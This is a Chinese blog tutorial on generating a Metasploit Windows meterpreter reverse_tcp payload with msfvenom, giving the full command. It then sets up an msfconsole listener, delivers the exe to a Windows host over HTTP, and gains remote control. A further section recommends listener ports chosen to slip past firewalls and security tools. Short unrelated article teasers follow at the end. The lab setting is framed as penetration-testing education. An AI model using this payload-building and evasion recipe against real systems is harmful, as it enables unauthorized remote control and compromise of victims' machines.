news 2026/4/15 15:04:48

使用metasploit生成payload并进行远程控制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
使用metasploit生成payload并进行远程控制

Metasploit 是一款开源的渗透测试与漏洞利用框架,由 Rapid7 公司维护,是信息安全领域(尤其是渗透测试、漏洞研究)最常用的工具之一。它的核心功能是帮助安全人员合法地模拟黑客攻击,以评估目标系统的安全性,发现并修复潜在漏洞。

生成payload:

例如:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.113.136 lport=5000 -f exe -o /root/payload.exe

其中参数:

Msfvenom:用于生成恶意payload的工具

用到参数-p-f-o

-p, –payload Payload to use;指定哪些有效载荷生成

本例中 windows/meterpreter/reverse_tcp :用于Windows平台的反向远程控制程序

-f, –format Output format;指定有效载荷的格式

本例中 exe 生成Windows系统的可执行文件

-o, –out Save the payload;指定保存位置

本例中 /root/payload.exe

LHOST:是 “Local Host” 的缩写,指控制端(这里是 Kali Linux 主机)的 IP 地址(图中为192.168.113.136)。目标主机运行生成的payload.exe后,会主动向这个 IP 发起连接,从而建立控制会话。

LPORT:是 “Local Port” 的缩写,指控制端监听的端口(图中为5000)。Kali 需在这个端口上启动监听程序,等待目标主机的连接请求。

图示为成功生成了在5000端口运行的payload。

开启metasploit的交互式命令控制台msfconsole进行配置:

配置payload:windows/meterpreter/reverse_tcp

配置lhost:kali ip

配置lport:5000

如图所示为配置好的payload,键入run开启监听。

如图所示为生成的payload,使用文件传输命令将其从http下载到本机Windows

windows开始运行payload.exe后,看到kali命令行中成功连接信息

此时我们就可以通过meterpreter对目标Windows系统进行远程控制了。

关于监听端口的选择:

在渗透测试中选择监听端口(LPORT)需要综合考虑可用性、隐蔽性、目标环境限制等因素,以下是具体原则和建议:

一、监听端口选择的核心原则
  1. 避免常用系统端口

    • 不要选择1-1024范围内的知名端口(如80HTTP、443HTTPS、22SSH 等):这些端口可能被目标防火墙默认放行,但也可能被控制端本地服务占用,或被安全设备标记为 “高风险端口”。
    • 优先选择1024-65535非知名端口(如444455558888等),降低被检测的概率。
  2. 避开目标环境的拦截规则

    • 若已知目标防火墙 / 安全组的策略,选择其放行的端口(例如目标允许80803389等端口的出站流量,则可优先选这些端口)。
    • 避免目标常用的 “黑名单端口”(如部分企业会拦截44445555等渗透测试常用端口)。
  3. 确保控制端本地端口未被占用

    • 选择前可先用
      netstat -tulpn | grep
      端口号检查 Kali 本地是否已占用该端口,避免端口冲突导致监听失败。
二、推荐的常用监听端口

渗透测试常用(相对隐蔽且少被占用):44445555666688889999

仿合法服务端口(增强隐蔽性):8080(仿 HTTP 服务)、8443(仿 HTTPS 服务)、1080(仿代理服务);

随机高端口:直接选择10000-60000之间的随机端口(如2345634567),进一步降低被识别的概率。

三、注意事项

同一控制端同时监听多个 payload 时,需使用不同的 LPORT,避免端口冲突;

若目标有严格的出站端口限制,可尝试使用443(HTTPS)、80(HTTP)等 “通用放行端口”,但需确保控制端本地未占用这些端口。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/14 9:51:06

动态规划笔记1(入门)

一.爬楼梯 leetcode 746.使用最小花费爬楼梯 (1)递归 思路: 1.分析状态 题目要求从0爬到第n个台阶,我们不妨想想到第i个台阶是什么样的? 令f(i)是到第i个台阶的最小花费,那么他该怎么表达呢&#xff…

作者头像 李华
网站建设 2026/4/12 18:32:35

【地理数据】城市居住人口及工作人口分布数据(更新至2023年)

城市居住人口,指长期在城市特定区域居住的人口,反映 “居住地” 维度的人口集聚特征;工作人口,指在城市特定区域从事生产经营活动的人口,反映 “就业地” 维度的人口流动特征,两者均是城市规划、产业发展、…

作者头像 李华
网站建设 2026/4/12 3:33:01

基于人工智能的本科生论文格式规范化工具研究

核心工具对比速览 工具名称 核心功能 适用场景 效率评分 特色优势 aicheck 文献综述生成/格式检查 文献整理/格式规范 ★★★★☆ 自动整合文献观点,符合国内院校要求 aibiye 论文降重/格式优化 查重后修改/格式调整 ★★★★ 智能改写保留原意&#…

作者头像 李华
网站建设 2026/4/14 22:01:58

论文查重不过关?试试这些AI工具,快速降低重复率

五大降重工具核心对比 工具名称 处理速度 降重幅度 专业术语保留 适用场景 aicheck 20分钟内 40%→7% 完全保留 高重复率论文紧急处理 秒篇 5-10分钟 45%→8% 完全保留 快速降重需求 白果AI 15分钟 30%→10% 学科词库保护 学术论文精细降重 文赋AI 5分钟 …

作者头像 李华
网站建设 2026/4/14 19:19:59

终极指南:用OpenCore Legacy Patcher让老Mac焕发新生

终极指南:用OpenCore Legacy Patcher让老Mac焕发新生 【免费下载链接】OpenCore-Legacy-Patcher 体验与之前一样的macOS 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 还在为老Mac无法升级最新系统而苦恼吗?&#…

作者头像 李华
网站建设 2026/4/14 13:43:33

Java关键字解析之abstract:抽象的本质、规范定义与多态基石

前言 在Java面向对象的世界里,abstract是一个充满“前瞻性”的关键字——它像一张“设计蓝图”,将类或方法标记为“未完成”或“待实现”,强制后续开发者遵循预设的规范去填充细节。这种抽象性并非模糊不清,而是通过“定义标准、…

作者头像 李华